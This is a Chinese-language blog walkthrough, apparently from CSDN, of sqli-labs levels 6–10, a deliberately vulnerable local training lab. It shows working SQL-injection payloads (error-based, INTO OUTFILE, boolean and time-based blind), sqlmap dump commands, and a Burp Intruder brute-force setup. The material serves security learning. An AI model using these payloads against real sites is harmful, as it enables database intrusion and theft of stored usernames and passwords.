sqli-labs(6-10)关通过讲解

sqli-labs(6-10)关通过讲解

Less-6

方法一:手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

image-20240723074403056

image-20240723074506128

image-20240723074515818

2.因为页面没有回显点而且语句错误会报错,所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

image-20240723074703304

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

image-20240723074902900

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

image-20240723075008353

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

image-20240723075110959

这里发现数据并不全,若想查到后面的数据可用限制查询:

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位,通过修改起始位置来分别查每行数据

image-20240723075244946

方法二:工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch

image-20240723075627745

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

image-20240723075714182

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

image-202407230759098763.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

image-20240723080010436

Less-7

看下题目是用into outfile

image-20240725204313317

1.判断闭合

先尝试'发现页面显示

image-20240723080448118

"页面显示

image-20240723080517241

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

image-20240725205523035

image-20240725205546693

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

image-20240725205743915

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

image-20240725205855253

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

image-20240725205957032

Less-8

题目是布尔注入-单引号

image-20240725210133170

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

image-20240723085056753

image-20240723085104474

2.可以看出既没有回显点也没有报错,可通过布尔注入方式进行注入

方法一:

先去猜数据库长度

# 数据库长度判断
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符
知道数据库长度之后,我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少,最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始

# 数据库名称判断
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符,数据库长度为8

最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破…

抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击…

img

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

img

From:字符串截取起始位置,To:字符串截取结束位置

img

img

按长度排序找到只有8个一样长度的数据,将ASCII码值转换成字母然后从1到8排序,最后得到 security就是数据库名

img

查表名

第一步:获取数据库下表的个数

# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

img

第二步:分别注入出各个表名得长度。

第一个表:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步:猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb)

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表:6个字段

img

img

img

img

通过排序查出第一个表为:emails

第二个表:长度为8

img

img

img

第二个表为:referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有 可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步:判断字段数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步:判断users各字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+ 

第三步:判断每个字段的字符—BP抓包爆破

#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

img

img

img

img

所以为id

第二个第三个,修改limit从哪开始

img

img

或者把limit 0,1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为:username,password

爆破字段下的内容

第一步:获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

然后通过Burp爆破获取

小结:一般布尔盲注,手工注入过于繁琐;不建议手注可借助工具如 SQLMAP…

方法二:工具注入

布尔盲注手工注入太过麻烦,最好借助工具sqlmap来注入

方法跟Less-6相同,这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

image-20240725210950099

推荐使用工具注入

Less-9

题目提示用时间盲注

image-20240725211044833

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

image-20240725211532297

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

image-20240725212025026

4.其他也是这样判断,太累了,这里就不赘述了。其实跟Less-8差不多,非常类似,都是靠猜。

Less-10

image-20240725212313947

跟Less-9一样,就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+ 
  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值